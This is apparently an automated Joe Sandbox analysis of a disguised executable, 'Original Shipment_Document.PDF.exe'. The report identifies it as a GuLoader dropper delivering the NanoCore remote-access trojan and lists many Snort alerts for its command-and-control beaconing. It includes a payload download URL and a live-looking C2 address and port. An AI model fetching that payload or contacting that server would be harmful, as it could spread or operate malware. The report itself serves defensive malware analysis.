Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982947262816718 08/05/22-11:35:05.845352
SID:	2816718
Source Port:	49829
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764984047262816766 08/05/22-11:36:01.054518
SID:	2816766
Source Port:	49840
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983047262816766 08/05/22-11:35:13.486265
SID:	2816766
Source Port:	49830
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764987047262816766 08/05/22-11:38:53.408201
SID:	2816766
Source Port:	49870
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764982647262025019 08/05/22-11:34:54.491567
SID:	2025019
Source Port:	49826
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986547262025019 08/05/22-11:38:16.903783
SID:	2025019
Source Port:	49865
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764980147262816766 08/05/22-11:33:15.747004
SID:	2816766
Source Port:	49801
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981647262025019 08/05/22-11:34:12.838139
SID:	2025019
Source Port:	49816
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764983547262025019 08/05/22-11:35:29.695360
SID:	2025019
Source Port:	49835
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985547262025019 08/05/22-11:37:23.336134
SID:	2025019
Source Port:	49855
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764981147262816766 08/05/22-11:33:48.376691
SID:	2816766
Source Port:	49811
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764986047262816766 08/05/22-11:37:48.782972
SID:	2816766
Source Port:	49860
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764985047262816766 08/05/22-11:36:55.558305
SID:	2816766
Source Port:	49850
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 188.127.230.176

Timestamp:	192.168.11.20188.127.230.1764988447262025019 08/05/22-11:39:53.345440
SID:	2025019
Source Port:	49884
Destination Port:	4726
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Original Shipment_Document.PDF.exe	Virustotal: Detection: 32%			Perma Link
Source: Original Shipment_Document.PDF.exe	ReversingLabs: Detection: 22%

Source: 00000088.00000000.185799522780.0000000000E30000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r"}

Source: Original Shipment_Document.PDF.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.179.174:443 -> 192.168.11.20:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.11.20:49792 version: TLS 1.2

Source: Original Shipment_Document.PDF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_00405C13 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405C13
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0040683D FindFirstFileW,FindClose,	1_2_0040683D
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System\06e54f5fa1f15dd558eaf403cdcacad3\System.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\5085e86702d2182b0d9417971c65ded2\System.Drawing.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\ae952be8fa59744d6333aed90b72f162\System.Windows.Forms.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Windows\Microsoft.NET\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49794 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49794 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49794 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49799 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49799 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49801 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49801 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49805 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49805 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 188.127.230.176:4726 -> 192.168.11.20:49805
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49807 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49807 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49808 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49808 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49809 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49809 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49811 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49811 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49812 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49812 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49813 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49813 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49815 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49815 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49815 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49816 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49816 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49819 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49819 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49820 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49820 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49822 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49822 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49823 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49823 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49824 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49824 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49825 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49825 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49826 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 188.127.230.176:4726 -> 192.168.11.20:49826
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49826 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49828 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49828 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49829 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49829 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49829 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49830 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49830 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49831 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49831 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49832 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49832 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 188.127.230.176:4726 -> 192.168.11.20:49832
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49835 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49835 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49836 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49836 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49837 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49837 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49838 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49838 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49839 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49839 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49840 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49840 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49841 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49841 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49841 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49842 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49842 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49843 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49843 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49844 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49844 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49846 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49846 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49847 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49847 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49848 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49848 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49849 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49849 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49850 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49850 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49851 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49851 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49852 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49852 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49852 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49853 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49853 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49854 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49854 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49855 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49855 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 188.127.230.176:4726 -> 192.168.11.20:49855
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49856 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49856 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49857 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49857 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49858 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49858 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49860 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49860 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49861 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49861 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49862 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49862 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49862 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49863 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49863 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49865 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49865 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49866 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49866 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49867 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49867 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49868 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49868 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49869 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49869 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49870 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49870 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49871 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49871 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49872 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 188.127.230.176:4726 -> 192.168.11.20:49872
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49872 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49873 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49873 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49873 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49878 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49878 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49879 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49879 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 188.127.230.176:4726 -> 192.168.11.20:49879
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49880 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49880 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49881 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49881 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49883 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49883 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49884 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49884 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49885 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49885 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49886 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49886 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49887 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49887 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49887 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49888 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49888 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49889 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49889 -> 188.127.230.176:4726
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49890 -> 188.127.230.176:4726
